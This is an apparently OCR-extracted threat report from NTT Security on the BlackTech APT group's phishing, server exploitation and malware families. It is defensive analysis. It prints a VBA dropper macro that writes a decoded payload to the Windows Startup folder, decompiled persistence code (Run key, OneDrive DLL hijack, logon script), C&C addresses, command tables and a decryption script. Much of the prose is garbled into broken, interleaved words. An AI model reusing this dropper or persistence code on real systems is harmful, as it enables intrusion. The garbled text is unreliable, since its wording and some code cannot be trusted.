@ NTT Security Holdings

Report on APT Attacks by
BlackTech

NTT Security Holdings Corporation
Japan SOC




Objective of R

NTT Security HoldingseCa
Managed Security Service
cl ock,sefciumd ty pmeinpdid spr
various roensaebesh amdeatutstp

custom sisgmantdurlendi cat or s

also used by our SOC analysts.

Our SOCbhdamoniitmgtt acks

Bl ack Tehcchugny organi zations hahmabwenereped
by Bl acghkulrec8Ql lpgsshawhi t epaipec udsshibrag est sattac
by Bl achtkaleed oanc ttudelt awdk moni t or e.d Weax p2t@idt

thiwditepaprtrri bbeé detfeense

® NTT Security Holdings

eport

r @poeyr aattCeoonh pJreopva md e
( MSS) . We mtomé t or
ovide best solution
ut the achievements

0 $) .Colnmperscemiksneo Wl leod@ ¢

by eknneo wanf AWEIl Igr oup

agasmmsamaBIltackTec h

D

ur

S .



Table of Contents

Objective of Report

Preface....ccccoooovvieiiiiiiieee. Ll
1. Introduction .....ccccccoeeeeeiviiiiiinnnn.
2. Attack Overview............ccceevvvvnnnnn.
2.1. Spear Phishing ..........ccccoviieinnnens
2.2. Vulnerability Exploitation (on server).........
2.3. Malware Families..........cccccevvieeeinnnen,

3. Malware Analysis ........cccevvvvvnnnnnn.
3.1 FIagpro....cooovvcieiiiiiiciis e
3.2. SelfMake Service.......ccoveveeeviciinen.n.

3.3. SelfMake Loader .........cccccevveevicvnnnnnnn.

3.4. HeavyROT Loader .........ccccvvvvvvvrveeennnen.
3.5. AresPYDOOTr ......cccooeveiiiiiiiiiiiiieeeee s
3.6. Spider RAT oo e
3.7. BTSDOON ...ttt e,
3.8. GhOStTIMES ...coviiiiiieiiiieeeeeee s
3.9. TSCOOKIE ccoeeiiiiiiieeieiiiiieeee e
3.10. ELF_TSCooKie .......ccceeeeveiiiiiiiinns

311, 1amDOWN.....oooiiis e,
3.12.  ELF_BIiffOS€ ..cccccviiiiiiiiiiieiies e
3.13. ELF_PLEAD.....ccooiiiiiiiiiiiieeee

4. CountermeasuresS......ccccoeeeeevnnnnnne.

5. Postface......cccooeeviviiiiieeninnnnnn.

6. About Report.....ccccoeevvvviiiiiiiienenne,

7. References ......cccoeeviivieiinnnnnnnn,

8. AppendiX......ccccoeuiiiiiiiiiiiininnnn

® NTT Security Holdings




Pref ace

NTT Security Holdings Corporationhhapdodrefec
monitoring active attacks from APT group BI

foll owing topics on the attacks based on our

Summary of aBltaac&Kieocdhysi nigeionni t i al attack v
that s@re@hi sheimagaln e xpli migt seuverer abilities
Result of analysis onBltahcek Treaclhwar e used by

Consideration on the | ogi cBltaockpTedhrct fro

Appendi x contains tBehadi sweodbbhashedatduei ng

This would help to prevent infection or isol
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1.1 nt

| t i's k
Earth Hu

been tar

Japan. Their main objective seems to steal

organi zations.

Bl ackTe

awilable (Bifrose or GhOst-d®Ag) opead OCTHEoOacK

PLEAD) .

actively

Our SOC has observed attacks by Bl ackTech, b

i ncrease

organizations in telecommunication, defense

many cas
Japanese

| t i s

therefmpéementing proper countermeasures bo

headquar

and summarizes the BlackTech's attack campadi

Japanese
content

protect
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roducti on

nown that APT group Bl ackTech (al so
ndun or HUAPI) had starte2. thleey khavd
geting orgiakazaktironsdAshasads waoi alnldy

ch utilizes vari ous mal war e familie

They have kept developing new mal war

wor king.
dda2020. Our SOC has observed they r ¢
es, they established their i nitial f
compani es,t ot marsiimtnr cdad iicml system
highly probable that Bl ackTech, keep
ters is required to protepéerfrewmi ewse
organizations that our SOC observe

wi || help considering and i mpl ement.i

each organization.




2. Attt ack Over vi

attacks targeting Jap

Origins of Bl ackTech

ei ther of bel ow.

1. Spear phishing

2. Vul nerability exploitation

21. Spear Phi sh

Mo s t of the attackagt ewde wibtshe rsypalafra t mhtit sahcikneg .

sends an emai l pretended to be sent from a b
as opening the attached file, the user is inf
attached fsdomhiagtei hsat eidt i s di fficult faor t hé
gl anOer. SOC has observed attacks that | ever g
used in the target organization in the past.
The attached file was either an executable
Mi crosoft Excel file in x| samontoarimaed iTrh esre o
file includingThRARarfcchrimet .f i lper cit®ecpadswamnd
password is included in the mail body.

Our SOC had observed several LAMs@EBE) ahds (a

macros embedded on them wsersugvgeesyt ssitnhiataral IT

files were created by
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t = Blocke() + "," + Blockl() + "," + Block2() + "," + Block3() + "," + Block4
() +"," + Block5() + "," + Blocks() + "," + Block7() + "," + Block8() + "," +
Block9() + "," + Block1e() + "," + Block11() + "," + Block12() + "," + Block13
O + "," + Block14()

Dim rd
Buf = Split(t, ","
Set fso = CreateObject("Scripting.FileSystemObject™)

Dim WshShell, oExec, appData
Set WshShell = CreateObject("WScript.Shell™)
appData = WshShell.expandEnvironmentStrings("%APPDATA%")

pth = appData & "\Microsoft\Windows\Start Menu\Programs\Startup\dwm.exe"

If fso.fileexists(pth) Then
Else
Dim I, aBuf, Size, bStream
Size = UBound(Buf): ReDim aBuf(Size \ 2)
For I = © To Size - 1 Step 2
aBuf(I \ 2) = ChrW(Buf(I + 1) * 256 + Buf(I))
Next
If I = Size Then aBuf(I \ 2) = ChrW(Buf(I))
aBuf = Join(aBuf, "")
Set bStream = CreateObject("ADODB.Stream")
bStream.Type = 1: bStream.Open
With CreateObject("ADODB.Stream™)
.Type = 2: .0Open: .WriteText aBuf
.Position = 2: .CopyTo bStream: .Close
End With
bStream.SaveToFile pth, 2: bStream.Close
Set bStream = Nothing
End If

Figure 1. Macro example BlackTech frequently uses

I nterestingly, it is observed that APT

grou

macro during tThheiisr iampltaicéksset hool t hat gener a

could be shared among multiple APT groups o

closely related.
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22. Vul nerabil ity Exploitatio
Bl ack hash been abused various vul nfecrcacbridiing e
to the blog article by JPCERT/CC [ 2], t her e
various vulnerabilities on C&Clsersveal sperap
[ 311411 51 that they had actually abused vul n
Server.

Successful exploitation results in mal ware e

attacker coll ects envi

deeper into the target

mal war e
and

Linux environment
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2.3. Mal ware Famili es

Bl ackTech wutilize various mal ware families.

mal war e fthat |t ey uasted acking vectors.

=D -

|
Spear-Phishing I LAMICE 1°t Malware 2" Malware

|

: Flagpro BTSDoor
|

I TSCookie

|

|

Ly |Eexe - — Spidelr RAT

TamDown

Emg
- =-> _———) —— R
SmpE 1T |
|
Exploit I Kicker 1t Malware 2" Malware 37 Malware
(Server)
|
I SelfMake Sl [T
| Loader P
|
I ELF_Bifrose Bifrose GhostTimes
|
_______ -

o
nix Server ELF_TSCookie

Figure 2. Malware families used by BlackTech
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3. Mal ware Analysi s

3.1. Fl agpr o

FIl agpsomal ware wused in initial phases of an
environment and downl oad and[ éX¢Rlllagpmra)er

may have been used in attacks of OcftoeBeOD) 204

using theMiMF@O@softnFe€uadad)i i brary may have peec

July 2021.

The main functions of Flagpro are as foll ow
Downl oad and execute tool
Execute OS commandcdsriesd!| s&nd

Col |l ect of authentication i nf oerxniaitlitorna tsef

of colilecoremhat i on.

311. Use of COM object

FIl agpro uses | WebBrowser2 interface and ot

Expl orer s COM object to haaOh&d es earcvceerss t o ang

59| if ( && *v3 )
if ( CoCreateInstance(&rclsid_InternetExplorer, @, 4u, &riid IWebBrowser2, &ppv) »= 8 &R )]

62 {
63 printf("start:\n");
64 VariantInit (& N
5 VariantInit(&v39);
6B N o= 3
67 .lval = 12;
SysAllocstring(v3);
(*(* + Bx2C))( N , Bv39, § » B s & V3// IWebBrowser2::Navigate()
reeString{ve);
»= @ )

S T nn

|
e
=

Figure 3. Use of COM object for external access
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312. Aut o cl oséogf di a

FIl agpro automatically closes dialogs, whi cH
sites, such as proxy authentication confir mg
autcol ose function was i mplemented to keep useé

has accessemalansietxd .er

313. I nserting dummy <codes

FIl agpro is obfuscated by inserting dummy <co
technigueften i mplemented in the mal ware use
274 DUMMY_FUNC();
275 DUMMY _FUNC();
276 DUMMY_FUNC () ;
277 DUMMY_FUNC () ;
278 DUMMY_FUNC () ;
279 DUMMY_FUNC () ;
238 sub_4BA598( . )3
281 sub_4B5388();
282 sub_4BAS98 (o4, \H
283 sub_4@5380();
284 sub_48a598( , );
285 sub_4@5380();
sub_4@5328(vs3, 'H
sub_485888();
DUMMY_FUNC( ) ;
DUMMY_FUNC( ) ;
DUMMY_FUNC () ;
DUMMY_FUNC();
DUMMY_FUNC();
DUMMY_FUNC();
294 if ( wecslen( Y <=7 )

Figure 4. Insertion of dummy functions
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3.14. Cont rcoommands

Control commands received from C&C server ar

commands used (ivn2 .Fl)atghpereoe | owi ng f or mat .

[Download Command 1]|[Download Command 2]|[05 Command]|[Time Interval]

Figure 5. Flagpro command format

The Download Command f or mat i s s htoswno fi nt hFei
string —-Exec?©, -Yes©, and the URL path to the
an activity flag, which must be present in b
Figure 5 for the main process such as downl oa
to take. pThhe string "Yes" is the execution fI
fiwiel  beaoéxecut ed.
ExecYes[URL Path]

Figure 6. Download Command format
3.15. C&CCommuni cati on
FIl agpro uses HTTP protocol to communicate |\

Table Wjtiches the URL path for each communi c{g

when this malware sends the results of OS <co

authentication informationj Btalse 6cto 1fitoe mtag

to the C&C server aasl WeRd. parameter v
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Table 1. The URL pathsand  queries for each communication purpose

URL path and query Purpose ‘

/index.html Requesting the control commands

findex.htmld?flag=[Encoded Data] Sending the results of OS commands
execution

/index.htmld?flagpro=[Encoded Data] Sending the authentication information

3.16. Indi cators of Coaf®d)y omi se (

5

5

Mu

5
B

5

©) N1T

URL path

Fil e path

TEMP% MY[ Uppercase Hexaded¢imalt myal ue (1
TEMP% MY[ Uppercase Hexadeci mal Value (1
t ex

index. html d?fl ag=[Base64 Encoded String]
index. htmld?fl agpro=[Base64 Encoded Str

71564 __40FI 1 k293 _DD71_4715_A31777825160D

71564 __40F|1 1 k293 _DD71_4715 _A55778278645]

71564 __40FI 1 k293 _DD71_4715_A317try516DB
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3.2. Sel f Make Service

Sel f Ma&krevi sleoader that | oads and executes magl w
hosttg. i s desi gaMdcdc dtoSesr wirBcees.i ,daeessor di ng to the Jar
[B] , this | ocoadel fdMhakeudlessscddrbed osmethieonext

Some samplSed f Ma&krevhnote only | oad and execute]|] m;
al so kil l thespllvgw84d maxXxe apdocexescut e mal i ¢i O
spl wow64 hate has beenwbttkrewmiatomame i nfected hps:t

Thepl wow64. exalsiesl PoyfnitiISpoal WirnSdowsce related t

printing.

vold  noreturn exec_selfloader()
1
while { 1)
1
if ( !'sub_ l4eealsaa() )
1
WinExec("cmd /c taskkill /f /im splwowbd.exe™, 8);
WinExec("cmd /c taskkill /f /im iproyal pawns.exe™, @);
Sleep(@x708u);
if { (unsigned int)}file attrcheck(Filename_iproyal pawns, @) != -1 )
1
DeleteFileA(FileName splwowsd);
movefile(Filename_iproyal_pawns, FileName splwowbd);
b
WinExec(FileName_splwowsd, 8);
¥
Sleep(@xlD4Cou’) ;
}
1
Figure 7. Execute malicious splwow64 overwritten with m alware
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33. Sel f Make Loader

Sel f Makaeder i s mal ware that | oads [AJn[d3]Je.xec ul
has been reported that this malTwar en acefee c ut
Sel fMake Loader is des-dsed d mhdkese It fhred ks & i tnige
mal war e sampl esf.eanwer edhitrdadt wart e M& §eMsi cr osoft

Foundation Cl ass)

; public class Cselfmake2fpp /* mdisp:8 */ @
;3 public class CWinApp /¥ mdisp:& */ :
b public class CWinThread /* mdisp:@ */ :
b public class CCmdTarget /* mdisp:@ */ :
H public class CObject /* mdisp:@ */
i 3 class Cselfmake2fpp "RTTI Type Descriptor’
P ??_Re?AVCselfmake2fpp@@@s dd offset ??_7type_info@@eBd

; «rdata:Cseltmake2A
; reference to RTTI':
dd @ 3 internal runtime re

! aAvcselfmakeZ2ap db ".?AVCselfmake2fppi@i’ ,@ ; type descriptor
Figure 8. Code cont ai nsselfmdke2 St ri ng

3 public class Cselfmake3App /* mdisp:@ */ :

; public class CWinApp /* mdisp:@ */ :

H public class CWinThread /* mdisp:@ */ :

H public class CCmdTarget /* mdisp:& */ :
H public class CObject /* mdisp:& */

3 class Cselfmake3fpp "RTTI Type Descriptor'
??_RBAVCselfmake3fpp@@is dd offset ??_7type_inf

offi@e B

S

; reference to RTTI's wftable
dd @ ; internal runtime reference
afvcselfmake3ap db . ?AVCselfmake3Lpp@d’ ,2 ; type descriptor name

Figure 9. Code cont ai nsselfmdke 38t ri ng

Sel f Make Loader can be WWage ek inrett dh otdwdad it gy p €
mal watflkee first type is to |l oad and execute m
host . The | oader searches the following dir¢d
first mal ware it found.

Directory where the Self Make Loader

5

C:Program Fi ICoanmon8 &)i | es

5

@ NTT Security Holdings
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Th e ot her type i s t o downl oad t he tnoal
t h&TEMP%di r eacntdoxegcut e t he downhleo afdielde faillseo
an XOR encomfeidgufl bicword i guirsaptiipdea| i mfiot enéhtn d

cont adiomsai n and port number @&hcomé i Gi&Crammaetomer

IS Si mi Biaffr otsok war e Bhiachk TesxcehsThi s -gpeélpiemi t

configuiratd omocmmewornact@®@fBil atkdech' s mal war e

HeX _ ASCII
77 77 77 2E|75 69 6E 76|65 73 74 2D|65 75 72 6F|www.ulnvest-euro
70 65 2E 63|6F 6D 7C 34|34 33 7C 7Cc|7C 7C 7C 7C pe.com|443\|!|||

-~ mA mA T Am A A Al e ma A oA [ I N Fatatal

Figure 10. Pipe -delimited configuration  of SelfMake Loader

The foll owing dfiiglue ef srhmavts t hat Sel f Make
infected@hbowhi eldoiwnleoddd om the C&C server

f oramThe mal war e nico dddRdiexodgdkdy contained i1

file.

typedef struct {
/{ The sequence of characters at the start of the data
/{ Malware samaple loaded from infected host: "EED8FFED"
/{ Malware samaple loaded from C&C server: "DODIFEEL"
char magic_number[4];

/{ The key for decoding data
int xor_key;

[/ Data size
int data_size;

// The value of this field is unused in the code
char padding[16];

[/ XOR encoded data
char® data;
} config;

Figure 11 . File format that SelfMake Loader loads from an infected host
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|l arihe espdeeof

o n.

| n addidsed, ol the code si mi
executing the decosed pi®laionleed
Sel f Make Loader call s the
f unctsiionpoluyt pautstri ng using
dummy cBldeeckTech tends to
1 |[int debug method()
2q
3 int v8; J/ esi
5| printf("f23rwe");
] printf("f23rwe™};
7| if ( GetTickCount() == Bx23EB32 )
8l 1
9 printf{"f23rwe"};
1@ printf({"f23rwe");
11 printf{"f23rwe");
12 o o= gel?;
:; else if { GetlLastError() == @x26(5B )

25

P}

¥

printf({"f23rwe"};
SEo= Bx2e;
h

else

1

h
printf("f23rwe™};
printf("f23rwe™};
return va;

3 o= @xl4l;

Figure 12 . Dummy code of SelfMake Loader
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3.4. HeavyROT Loader

HeavyROT Loader is a |l oader that downl oads mal
executes it. There is a sampl e mafl wiafmrieem | tolaeed e w
same C&C serrSeérf Make alnodadietr woul d indicate the| s:
to BlackTech. We n a mEeahvyROM iLaadernsande wtauses bit
rotationcalculaton f or RC6 cryptographic algorithm or [fal

as wi |l | be described | ater.

Th e mal war e communi cates wi t h cé&@gd s8msgecs u
authentication is implemented to the servers T
the servers again with the flag enabl ed whi ch
(ERROR_I NTERNET | NVALI D_CA¢rrion oaser st his HT T
communi cati on. I n addition, t he mal ware get s t

i nfected smarcehginset ry in order to set the string

ifu( '({int E__i:d:a;; *Y(int, _DWORD, _DWORD, _DWORD, _DWORD}))this->wininet HttpSendRequestA)(vd, @,

/{ https://docs.microsoft.com/en-us/windows/win32/wininet/wininet-errors
if ( ((int (*)(void))this-»kernel32_GetLastError)() '= ERROR_INTERMET_INVALID_CA )
goto LABEL_28;
V23 = 45
((veid (_ stdcall *)(int, MACRO_INTERMET OPTION, int *, int *)})this-»wininet_InternetQueryOptiona)(

]
INTERNET_OPTION SECURITY FLAGS,

Bvlz,
&v23);
// 8x188 = SECURITY_FLAG_IGNORE_UNKNOWN CASECURITY FLAG_IGNORE_REVOCATION
v12 |= 8x188u;
{((void (_ stdcall *)(int, MACRO_INTERNET_OPTION, int *, int)})this-»>wininet_InternetSetOptionA)(

]
INTERNET_OPTION SECURITY FLAGS,
&viz,
4);
if ( !'({{int (__stdcall *)(int, DWORD, _DWORD, DWORD, DWORD))this-»wininet HttpSendRequestA)({ve, €
goto LABEL_28;

1R = 4:

Figure 13. Process of communication with C&C servers
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Thedownl oadefdr drmt @&C sentvarsas encrypted PE
as a seed for generating a decryption key.
the checksum before and after decrypting PE

checksum does noawmnmladade d hdea tda .

typedef struct {
[/ seed for generating decryption key
int key_seed;

[/ checksum before decryption
int encrypted _data_checksum;

[/ checksum after decryption
int decrypted data_checksum;

[/ heap size for loading data
int heap_size;

/[ data size
short int data_size;

[/ encrypted PE data
byte datal];

1

Figure 14 .Downloaded data format

def calc_checksum(data):

rol = lambda val, r_bits, max_bits=32: ¥

(val << r_bits%max_hits) & (2**max_bits 1) ¥

((val & (2**max_bits - 1)) >> (max_bits - (r_bits%max _bits)))
result=0

for byte_val in data:
result = rol(result,0xb) + byte_val
return result

Figure 15.Checksum calculation
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The following figure shows how the malware generates a key for decryption

from a seed.

def calc_key(seed):
vall = (seed&1)|(seed<<16)&0xFFFFFFFF
val2 = (seed>>16)|(seed&0x00001000)
return ((vall<<8)&0xFFFFFFFF) | ((val2)>>8)&0xFFFFFFFF)

Figure 16.Process of generating decryption keyfrom seed

't i dlreottchat mal ware extracts original PE

(not decryptiaofntyerr oggdnenreat iAng hobgh kefier e

theoretical evidence, we confirmed that t

routine can be decryyppttieodn bryo uRG6n ee.ncWe assume

f

wa

he

downl oaded from a C&C server contained the

routine, and the mal ware decrypted original

to the encrypted dat a.

class RC6Const:
round = 16
blocksize = 64

def get_wordsize():
return RC6Const.blocksize // 2

def get_extend_s_len():
return 2 * RC6Const.round + 4

rol = lambda val, r_bits, max_bits=32: ¥
(val << r_bits%max_hits) & (2**max_bits -1)| ¥
((val & (2**max_bits - 1)) >> (max_bits - (r_bits%max_hits)))

def init_S(key):
s_len=get_extend_s_len()
w=get_wordsize()

MOD = 2**w
encoded = [key]

® NTT Security Holdings
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S=s_len*[0]
S[0]=0xB7E15163
foriinrange(l,s_len):
S[i]=S[i - 1]+0x9E3779B9
S[i]=S[i]%MOD

A=B=i=j=0
for _in range(0,3*max(len(encoded),s_len)):
A = S[i] = rol((S[i] + A + B)%MOD,3,w)
B = encoded[j] = rol((encoded[j] + A + B)%MOD, (A+B)%w,w)
i=(@{+1)%s_len
j=( + 1) % len(encoded)

return S

def rc6_encrypt(data,S):
r=RC6Const.round
w=get_wordsize()
MOD = 2**w
lgw =5
A = int.from_bytes(data[0:4],'little")
B = int.from_bytes(data[4:8],'little")
C = int.from_bytes(data[8:12],'little")
D =int.from_bytes(data[12:16],'little")

B = (B + S[0])%MOD
D = (D + S[1])%MOD
for iin range(1,r+1):
t = rol((B*(2*B + 1))%MOD),lgw,w)
u = rol(((D*(2*D + 1))%MOD),Igw,w)
A = (rol(A™t,u%w,w) + S[2*i])%MOD
C = (rol(C"u,t%w,w) + S[2*i+1])%MOD
(A,B,C,D)=(B,C,D,A)
A=(A+S[2*r+ 2])%MOD
C=(C+S[2*r+ 3]))%MOD

ret = [A,B,C,D]
return ret

def main():
## set appropriate parameters
key = 0x68000010 ## set the key generated from seed in
downloaded data.
input_file = "encrypted.bin" ## set a inputdata filename.
output_file = "decrypted.bin" ## set a outputdata filename.

## initialize S
S =init_S(key)

@ NTT Security Holdings
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if

## decrypt
in_datas = open(input_file,"rb").read()
i=0
out_f = open(output_file,"wb")
while i < len(in_datas):
in_da ta = in_datas][i:i+16]
decrypted = rc6_encrypt(in_data,S)
for e in decrypted:
bin = e.to_bytes(4, byteorder="little")
out_f.write(bin)
i=i+16
out_f.close()

name__ ==" main__ "
main()

Figure 17 . Process of decrypting PE dat
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35. AresPYDoor

AresPYDoor i s backdoor mal war e.

because the C&C server used by

al so BlackTelch7Arad svki¥YR2sobased

on Github under the name Ares

| t i s sai

AresPYDoor h a

on a 9y trheol ne aRSA€ET(

and

AresPYDoor uses the URL format sh

and receive commands.

i s convert

own in Fig

(scheme)://(host)/api/(uid)/hello

Figure 18. URL format to receive commands

The uid is generated by the

code

in Figure

import uuid, getpass
def get_UID(self):
""" Returns a unique ID for the agent
return getpass.getuser() + '_' + str(uuid.getnode())

unn

Figure 19. The code generates uid

The i mplemented commands ar e
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Table 2. AresPYDoor commands

Comm and Description

cd Change the current directory

upload Upload

download Download

persist Establish persistence

clean Remove persistence

exit Terminate AresPYDoorprocess

Zip Compress files orfolders to a ZIP
archive

python Execue Python codes

help View help

(Others) Execue Shell commands

One of the characteristicsplodt fAarem PSviDpmer ti s
are sever al codes i mplemented to work on bo

exampl e, Figure 20 9lrowd ss@eme eo fc otdless .

executable))

= n' % agent_path
f.expand_path(
esktop_entry)

xecutable) + '|wc -1) -1t 2 ]; then ° + agent_path + °;

wi o

% agent_path

Figure 20. Multi -platform persistence commands
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3.6. Spi der

Spider
32bit
i mpl emented i

32bit

3.6.1.

sampl e
32-bi t
3.6.1.1.

n

and

RAT

a+bd t6s ampl es.

each

Theonfuirgatii®nencoded

Al t hough

RAT[ 1] 4] RaAXecut ed

sampl e

cont i

Confuirggti on

nue

by

XOR,

by LLAONAdCeE .0 rT hSeerlef Ma ke

they have S
di

64bit

S 0me m

ar e fferent. I p

wi t h sampl e.

and its for mat

IP1|PORTL1|IP2|PORT2|IP3|PORT3|PROXYNAME|PROXYUSERNAME|PROXYR
SLEEPTIMEUNKNOWN_COLBERSISTENCE

Figure 21. Config ration format

The observed samplwe nlgad etthe nfgsl IsRown i n Fi g

Hex

ASCII

008041F8 |34 35
0080420834 33 7
0080421835 7
0080422833 30
0080423800 00
0080424800 00
00804258 00
00804268 | 00
00804278 00
00804288 | 00
00804298 | 00
008042A8 | 00

31
31
34
30
00
00

37
34
e

7C
00 00
00
00
00
00
00
00
00

00
00
00
00
00

00
00
00
00
00

Figure 22 . Spider RAT config uration
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2E
2E
7C
30
00
00
00
00
00
00
00
00

31|30
31|36 38
7C|7C 7C 7C
00|00 00 00
00|00 00 00
00|00 00 00
00|00 00 00
00|00 00 00
00|00 00 00
00|00 00 00
00|00 00 00
00|00 00 00

32 2E

2E

32
32
31
00
00
00
00
00
00
00
00
00

34
31
35
00
00
00
00
00
00
00
00
00

7C
2E

30 7

00
00
00
00
00
00
00
00
00

45.117.102.243(4
43]104.168.213.9
51443 1500

24




36.1.2. EmbedddLfi | e

We observed that there are two executabl e
the .data section, one of which wil!|l |l ater bd
phase. The behavior of t hese DLL fi
-CWindowgstem32 c. exe". Altbough &embeddad DLL
they have the same behavior.

value value
.data .reloc
3D64206. A104523DC6DDB70790CA0D385A618987 7317F8A981
5.304 3.072
27.84% 8.66 %
0x00037200 Ox0004FA00
bytes) 0x00018800 (100352 bytes) 0x00007A00
0x00239000 0x00256000
bytes) 0x0001C764 (116580 bytes) 0x000078BA
éhCOCOOCLl’J :’)NZ’JOCOlO
executable offset: 0x00039258 size: 44404
executable offset: 0x00044268 size: 44404
Figure 23. DLL files embedded in Spider RAT
36.1.3. Characteristic strings
The characteristic stridpgsansitbewn eiem FKFing urh
out put. Such stsreiemg sbhniatéels aimgloe
= & H
std: :string: :string((int) "pWork-*HC->HttpSendMessage failed!");
output_stdout( 1
1
Ur'edk ;
std: :string: :string({int) " restart m_CMDZ!");
output_stdout(vv[@]);
Figure 24 . The characteristic string in Spider RAT
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3.6.1.4. Per si stent behavi or

Three persistent behaviors described belo

value of PERSI|I STOEINGE uirnd thihdehi s case, the samp

to run these persistent behaviors.
., Using the Registry Run key

0 Spider RAT copiwse pa 8ldilodwntl omaadismet.. exe
0 Spider RAT set t he full pat h as t he

HKCWBOFTWARIEcCcr ofWohtdo@®sarrent VRusi bay.

= RegOpenKeyExA(
HKEY_CURRENT_USER,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",

el
OxFOO3Fu,
& )5
1€ 4 )
{
GetModuleFileNameA(@, , 9x104u);
CopyFileA( 5 L STR)"c:\\users\\public\\downloads\\schmet.exe", 9);
memset ( , 9, sizeof( 335
= 260;
if ( RegGetValueA( , @, "Ofice", 2u, 0, ta, & )
I« = _mbscmp(“c:\\users\\public\\downloads\\schmet.exe", )ata)) !=0 )
{
STR)"c:\\users\\public\\downloads\\schmet.exe");
, "Ofice", @, 1lu, "c:\\users\\public\\downloads\\schmet.exe", +1);
)s
}
}
return H
}
Figure 25. The persistence using the R un key
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., Using DLL Sedbrphc®Brdgrin OneDrive
0 Spider RAT copi @9 oigraendfahtac t.-€x e °
U Spider RAT repl aC®s ndlo&gstt reintBapl c .ierx et°h e
embedded DLL files of .pdotga asms@thiasn . wixtel® .
U Spider RAT writes its binary to
c:Uer SERNAMppDat@ac Mi cr oO®ae Dr iFvéeSynckFlI
wb. dl |
0 Spider RAT relaunches OnebDrive with the f
-cmd /c¢c taskkill /f /im onedrive.exe?
U The mal i ci ous FileSyncFIl wb. dl | wi ||
-Cprogramgdahast. exe?®,plwahciecdh tios Spei der RAT.
GetModuleFileNameA(®, , Bx1edu);
CopyFilea( » "C:\\programdata\\schost.exe", @);
memcpy_@(aCWindowsSystem, "C:\\programdata\\schost.exe", strlen("C:\\programdata\\schost.exe") + 1);
memset( s 8, sizeof( )H
memset( , B, sizeof( );
= (FILE *)SHGetSpecialFolderPathA(@, s, CSIDL_APPDATA, 1);
if ( )
{
[strlen( ) + 252] = @;
wsprintfa( s THEs\\¥s", s "Local\\Microsoft\\OneDrive\\FileSyncFalwb.d11");
printf("%s\n", )s
Sleep(@x2718u);
= fopen( s "wb™);
iF (1)
{
fwrite(&embedded_dll, 1lu, @xBeaeu, );
return (FILE *)fclose(v2);
¥
else
{
WinExec("cmd /c taskkill /f fim onedrive.exe”, @);
= fopen( s "wb");
if ( )
{
fwrite(&embedded_dl1, 1u, exBeeeu, 'H
return (FILE *)fclose(v3);
1
¥
¥
Figure 26 . The persistence using DLL search order hijacking
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., Using the Regi sEmwi rkenythagktQUhi t Mpr LogonScr i

0 Spider RAT

copiwsemd sldiodwntl ompest ect . exe

U Spider RAT set t he full pat h as

HKCWENvVviIirontheat!| ni t MprLogonScript key.

U0 When wuser

execut ed.

l ogs into Wi ndows, repl aced ma

= RegOpenKeyExA{HKEY_CURRENT_USER, "Environment”, @, OxF@@3Fu, & );
if (! )
{
GetModuleFileNameA(®, , 8xledu);
CopyFileA( S F R)"c:\\users\\public\\downloads\\mpetect.exe", @);
memset( s @, sizeof( )} H
= 260;
if ( RegGetValueA( , @, "UserInitMprLogonScript”, 2u, 8, , &
|« = _mbscmp("c:\\users\\public\\downloads'\\mpetect.exe", Yy =8 )
{
= lstrlenaA((LF R}"c:\\users\\public\\downloads\\mpetect.exe");
RegSetValueExA( » "UserInitMprLogonScript”, @, 1u, "c:\\users\\public\\downloads'\mpetect.exe", +1);
return RegClosekey( '
1
Figure 27 . The persistenceus ing

HKCU\ Environment \ UserlnitMprLogonScript
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36.15. Control Commands

Control commands i mpl emenbietd $ amplpe de&mre RARO
Table 3. The pair of offset values 0x4 and O
each command.

Table 3. Control

Offset 0x4  Offset 0x8

0

1

©) N1T

2
1
10
11

20

21

100

Security Holdings

commands of 32 -bit Spider RAT

Description

Reconnecting

Launching PowerShell
Terminating PowerShell
Executing PowerShell Command
Launching PowerShell
Terminating PowerShell
Executing PowerShell Command
Terminating FileManager
Launching FileManager
Downloading file

Uploading file

Renaming file

Sending list of files

Deleting file

29
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36.2. 64bit

We al so obs-brvedamphedei mpl ement ati on i s S i

compared wiitth sadnp| ehi tTheawple emuht eads approalkh

for processing. However, we have <confirmed|tH
processing content. We assume that some featfur
future.

36.21. Characteristics

Theonfuir;gatofonbdt sadpl ot have specifibci tstrugt
one, but i nformation sucltodedC&Cnsaddeét i os, hah

some characteristic stringhbithian tahe délwg f onp

1e5 L3 = Wlod;
186 12 = @
187 sub_14e8e1328(v11, "pWork->HC->HttpSendMessage failed!"”, 34is64);
188 sub_l4e8e2BCe((  inted)vil});
144 ¥
Figure 28. The characteristic strings in 64 - bit sample

3.6.22. Contr ol Commands

Control commands i6mplmecdTeadReA s hown i n Tabl]e
The pair of offset values 0x4 and 0x8 in the]re
command.

Table 4. Control commands of 64 -bit Spider RAT
Offset 0Ox4  Offset 0x8  Description

1 1 Executing command
3 0
3 1 Downloading and Executing file

Security Holdings
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3.7. BTSDoor

BTSDoorbac&door mal war e [ 6] . |t h aFk a gopereon

downl oaded

the pdmapaet BTSWi.ndows

4 o o o

Bef oBT&Door

rdata:0041...
rdata:0041...
rdata:0041...
rdata:0041...
rdata:0041...
rdata:0041...
rdata:0041. .
rdata:0041...

00000012
00000008
00000038
00000043
000000 1A
00000008
00000015
00000015

and execufTdhd oMl Paoadad aderf.r o end

Mot implemented! \n
CMD Error!
. cWwindowsY\system32\emd. exe
.. Ci\Wsers\\Tsai\\Desktop\20180522windows_tro\\BTSWindows\\Serverx8a.pdb
InitializeCriticalSection
Sleep
EnterCriticalSection
LeaveCriticalSection

Figure 29. PDB path of BTSDoor

o0 0o non
[
[

receivestcommarsds he foll owing

the infected host totthefciC&tGcaovwgpAes. The

|l Rddr ess

5

User name

Comput er

name

Wi ndowsveOSi on

Process

| D of BTSDoor
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BTSDoor
AES as i

i mpl ements the fThlel awiarid i commarda.ryp

S

the case with stem@n fngc tiend olramatt.i on

Table 5. List of BTSDoor commands

Command ID  Description

0x20

0x22

0x30
0x31
0x33
0x39
0x40
0x41
0x50
0x51
0x52

0x53

OxAl

Upload a file

Release the semaphore of the file upload
thread

Open the handle of file download
Download a file

Close the handle of file download

Execute command through ShellExecuteW
Return the string "Not implemented!*
Return the string "N"

Start a Command Prompt process

Kill the Command Prompt process

Send commands to the Command Prompt

Release the semaphore of the Command
Prompt thread

Terminate the BTSDoorprocess
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38. GhOstTi mes

GhOst Timesustomi zed baseGhOsnt $RETr ¢ e akede arlf

has been used in some attad¢X] .cases since ear

381. Feature EnhanceE€mart Renud e

GhOst Tiamdedss hd eat tme c ommunwictalt et&Ce s€rlvyer

i mpl emeayhe new CPort mapManager and CUltraPor
I n addition, GhOstsTifmas uriensp| sfmeliet aosper at i (
